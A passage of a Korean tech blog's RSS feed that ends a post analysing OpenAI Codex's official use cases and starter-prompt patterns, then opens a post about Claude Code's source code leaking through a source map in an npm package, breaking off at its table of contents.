&lt;li&gt;&lt;b&gt;Model Integration&lt;/b&gt;: 메타데이터를 기반으로 앱 도구를 언제 호출할지 결정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 스택: TypeScript 또는 Python MCP 서버, React(또는 plain HTML/CSS/JS) 위젯, ngrok 또는 Cloudflare Tunnel(로컬 HTTPS). 인증(OAuth 2.1)은 익명/읽기 전용 경로가 검증된 후에만 추가하도록 명시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 32px;&quot; data-ke-size=&quot;size23&quot;&gt;7-3. 브라우저 게임 만들기 (Intermediate / 장시간)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PLAN.md로 게임 계획을 세운 후 $playwright-interactive로 라이브 브라우저에서 테스트하며 구현한다. $imagegen으로 게임 에셋을 생성하고, $openai-docs로 API 참조를 조회하며 작업한다. 생성 프롬프트를 재사용 가능한 파일로 저장해 시각적 일관성을 유지하는 것이 권장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 AGENTS.md 예시 스택: &lt;b&gt;프론트엔드&lt;/b&gt; &amp;mdash; Next.js + 렌더링 프레임워크(예: Phaser, PixiJS) / &lt;b&gt;백엔드&lt;/b&gt; &amp;mdash; Fastify + WebSockets + Postgres + Redis. (렌더링 프레임워크는 공식 AGENTS.md 템플릿에서 프로젝트에 맞게 선택하도록 빈칸 처리되어 있다.) 공식 문서는 Codex가 장시간 독립적으로 작업할 수 있도록 &lt;code style=&quot;background: #f0f4f8; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', monospace;&quot;&gt;.logs/&lt;/code&gt; 디렉토리에 작업 로그를 남기도록 지시할 것을 권한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 8 ===== --&gt;
&lt;h2 id=&quot;prompt-patterns&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 스타터 프롬프트 패턴 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12개 유즈케이스의 공식 스타터 프롬프트를 분석하면 반복되는 구조 패턴이 보인다. 이 패턴을 이해하면 자신만의 프롬프트를 설계할 때 기준이 된다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;패턴&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;적용 유즈케이스&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;스킬 명시&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;code&gt;Use $playwright-interactive, $imagegen...&lt;/code&gt; 형식으로 사용할 스킬을 프롬프트 앞에 명시&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;브라우저 게임, 슬라이드, Figma&amp;rarr;코드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;AGENTS.md 우선 읽기&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;code&gt;Before changing anything: Read `AGENTS.md`&lt;/code&gt; &amp;mdash; 행동 전 컨텍스트 파악 지시&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;어려운 문제 반복, 데이터 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;명시적 중단 조건&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;code&gt;Keep going until both scores are above 90%&lt;/code&gt; &amp;mdash; 목표치를 명시해 드리프트 방지&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;어려운 문제 반복&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;소스 오브 트루스 지정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;code&gt;using the screenshots and notes I provide as the source of truth&lt;/code&gt; &amp;mdash; 무엇을 기준으로 삼을지 명시&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;반응형 디자인, Figma&amp;rarr;코드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;금지 조건&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;code&gt;Do not stop at the first acceptable result&lt;/code&gt; &amp;mdash; 하지 말아야 할 것을 명시해 과도한 최적화 방지&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;어려운 문제 반복&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;b&gt;출력 형식 지정&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;code&gt;Output: current best scores / log of major iterations&lt;/code&gt; &amp;mdash; 최종 산출물 명시&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;어려운 문제 반복, 데이터 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 줄 종합: Codex 공식 프롬프트의 공통 철학은 &quot;사전에 컨텍스트를 주고(AGENTS.md), 스킬을 지정하고, 중단 조건을 명시하고, 무엇을 만들지 정의하라&quot;이다. 이 네 요소 중 하나라도 빠지면 Codex의 자율 작업 품질이 떨어진다.&lt;/i&gt;&lt;/p&gt;
&lt;!-- ===== 섹션 9 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;roadmap&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 한국 개발자를 위한 실전 시작 로드맵&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 빠르게 결과를 볼 수 있는 순서로 정리했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: Easy 4개로 즉시 가치 확인 (첫날)&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 16px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;유즈케이스&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;사전 조건&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;기대 효과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;대형 코드베이스 이해&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;저장소 접근 권한&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;5분 만에 새 코드베이스 파악&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;PR 자동 리뷰&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;GitHub 저장소 + Codex 설치&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;PR마다 자동 리뷰 신호 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Slack 코딩 태스크&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Slack 워크스페이스 + Codex Slack 통합&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;컨텍스트 전환 없이 버그 수정 위임&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;슬라이드 덱 자동 생성&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;데이터 파일 또는 분석 결과&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;30분 안에 .pptx 파일 자동 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: Intermediate 5개로 워크플로우 통합 (첫 주)&lt;/h3&gt;
&lt;ul style=&quot;padding-left: 22px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;반응형 프론트엔드 디자인&lt;/b&gt;: 디자인 시스템이 있는 프로젝트에 Playwright 통합&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Figma 디자인 &amp;rarr; 코드&lt;/b&gt;: Figma MCP 설정 후 디자인 핸드오프 자동화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;데이터셋 분석&lt;/b&gt;: 데이터 분석 AGENTS.md 설정 + Git worktree 패턴 학습&lt;/li&gt;
&lt;li&gt;&lt;b&gt;API 업그레이드&lt;/b&gt;: OpenAI API를 사용 중인 프로젝트에 적용&lt;/li&gt;
&lt;li&gt;&lt;b&gt;브라우저 게임&lt;/b&gt;: 멀티플레이어 게임 AGENTS.md + .logs/ 패턴 학습&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 28px;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: Advanced 3개로 심화 활용 (첫 달)&lt;/h3&gt;
&lt;ul style=&quot;padding-left: 22px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;어려운 문제 반복 풀기&lt;/b&gt;: 평가 스크립트가 있는 최적화 문제에 적용&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ChatGPT 앱 만들기&lt;/b&gt;: 하나의 좁은 유즈케이스로 MCP 서버 구축 실험&lt;/li&gt;
&lt;li&gt;&lt;b&gt;iOS/macOS 앱&lt;/b&gt;: Apple 플랫폼 개발자라면 XcodeBuildMCP와 함께 시도&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; border-radius: 0 8px 8px 0; padding: 20px 24px; margin: 24px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #0066cc; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md 설정이 핵심&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;어떤 유즈케이스를 선택하든, &lt;b&gt;저장소 루트에 AGENTS.md를 만드는 것이 첫 번째 할 일&lt;/b&gt;이다. PR 리뷰 지침, 코드 스타일, 금지 패턴 등을 명시할수록 Codex의 결과물 품질이 높아진다.&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 가이드: &lt;a href=&quot;https://developers.openai.com/codex/guides/agents-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developers.openai.com/codex/guides/agents-md&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 섹션 10 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론 : 공식 유즈케이스의 진짜 가치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 페이지가 단순한 기능 목록처럼 보이는 건 제목만 봤을 때 얘기이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 페이지에는 스타터 프롬프트, AGENTS.md 예시, 난이도, 소요 시간이 있다. 어디서 어떻게 시작하는지가 다 나와 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PR 리뷰는 5초짜리 설정이고, eval-driven 루프는 장시간 자율 작업을 위한 고급 패턴이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 시작한다면 &lt;b&gt;코드베이스 이해(5분) &amp;rarr; PR 리뷰 설정 &amp;rarr; AGENTS.md 작성&lt;/b&gt; 순서가 가장 빠르다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff; text-align: left;&quot;&gt;추천 유즈케이스&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;새 저장소에 합류함&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/codebase-onboarding&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;대형 코드베이스 이해&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;PR 리뷰 품질을 높이고 싶음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/github-code-reviews&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PR 자동 리뷰&lt;/a&gt; + AGENTS.md 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Slack에서 버그 수정을 위임하고 싶음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/slack-coding-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Slack 코딩 태스크&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;Figma 디자인을 코드로 변환하고 싶음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/figma-designs-to-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Figma 디자인 &amp;rarr; 코드&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;최적화 문제를 자동으로 반복 개선하고 싶음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/iterate-on-difficult-problems&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;어려운 문제 반복 풀기&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;ChatGPT와 내 앱을 통합하고 싶음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/chatgpt-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ChatGPT 앱 만들기&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- ===== 참고 자료 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;references&quot; style=&quot;font-size: 22px; color: #1a3a52; border-bottom: 2px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;padding-left: 22px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Use Cases 공식 페이지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/github-code-reviews&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Review pull requests faster&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/iterate-on-difficult-problems&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Iterate on difficult problems&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/codebase-onboarding&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Understand large codebases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/datasets-and-reports&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Analyze datasets and ship reports&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/frontend-designs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Build responsive front-end designs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/figma-designs-to-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Turn Figma designs into code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/chatgpt-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bring your app to ChatGPT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/native-ios-macos-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Build for iOS and macOS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/browser-games&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Create browser-based games&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/generate-slide-decks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Generate slide decks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/slack-coding-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Kick off coding tasks from Slack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/api-integration-migrations&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Upgrade your API integration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/guides/agents-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Custom instructions with AGENTS.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://news.hada.io/topic?id=27938&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews: Codex 활용 사례 모음 (#27938)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- ===== 푸터 ===== --&gt;
&lt;div style=&quot;background-color: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 16px 20px; margin-top: 40px; font-size: 13px; color: #666;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성일:&lt;/b&gt; 2026-03-30 | &lt;b&gt;분석 대상:&lt;/b&gt; developers.openai.com/codex/use-cases (2026-03-30 기준)&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 글의 모든 유즈케이스 설명, 난이도, 소요 시간, 스타터 프롬프트는 OpenAI 공식 문서에서 직접 수집한 데이터에 기반한다. OpenAI의 서비스 정책 및 기능은 변경될 수 있으므로, 최신 정보는 공식 페이지에서 확인하기 바란다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AGENTS.md</category>
      <category>ai 코딩 에이전트</category>
      <category>Codex 2026</category>
      <category>Codex 유즈케이스</category>
      <category>Codex 활용법</category>
      <category>iOS 앱 빌드</category>
      <category>openai codex</category>
      <category>PR 자동 리뷰</category>
      <category>데이터 분석 자동화</category>
      <category>스타터 프롬프트</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/573</guid>
      <comments>https://goddaehee.tistory.com/573#entry573comment</comments>
      <pubDate>Thu, 2 Apr 2026 00:13:33 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 소스맵 유출 사건 - npm 실수 한 번에 512,000줄 공개, 유출된 Claude Code 소스로 본 미공개 기능 분석</title>
      <link>https://goddaehee.tistory.com/572</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2028&quot; data-origin-height=&quot;1126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dZv9qf/dJMcacvQceH/pICtA4ZC2epj9RMqR3Q6Hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dZv9qf/dJMcacvQceH/pICtA4ZC2epj9RMqR3Q6Hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dZv9qf/dJMcacvQceH/pICtA4ZC2epj9RMqR3Q6Hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdZv9qf%2FdJMcacvQceH%2FpICtA4ZC2epj9RMqR3Q6Hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2028&quot; height=&quot;1126&quot; data-origin-width=&quot;2028&quot; data-origin-height=&quot;1126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 3월 31일 저녁 보안 연구자 Chaofan Shou(&lt;a href=&quot;https://x.com/Fried_rice/status/2038894956459290963&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@Fried_rice&lt;/a&gt;)가 놀라운 사실을 공개했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;&quot;Claude Code의 전체 소스 코드가 npm 패키지에 그대로 들어있다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;해커의 소행이 아니었다. Anthropic이 빌드 과정에서 소스맵(source map) 파일을 실수로 패키지에 포함시켜 배포한 것이다. 그 결과, 누구든 &lt;code&gt;@anthropic-ai/claude-code&lt;/code&gt; 패키지를 설치한 사람이라면 1,906개의 TypeScript 파일, 512,000줄이 넘는 소스 코드를 아무런 제약 없이 들여다볼 수 있게 됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;커뮤니티 반응은 즉각적이었다. 불과 몇 시간 만에 독립 분석 문서 사이트가 등장했고, GitHub에 아카이브 저장소가 생겼으며, Hacker News는 뜨겁게 달아올랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;한국 커뮤니티에서는 &quot;&lt;b&gt;AGI의 비밀이 수십만 줄의 TypeScript 조건문이었다&lt;/b&gt;&quot;는 우스갯소리까지 돌았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 글에서는 단순한 사건 소개를 넘어, 실제로 유출된 코드가 무엇을 드러내는지 깊이 분석한다. 어떻게 유출됐는지, 무엇이 발견됐는지, 그리고 이것이 개발자와 AI 업계에 어떤 의미를 갖는지 정리해보려 한다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;팩트체크: 커뮤니티 주장 vs 실제 수치&lt;/li&gt;
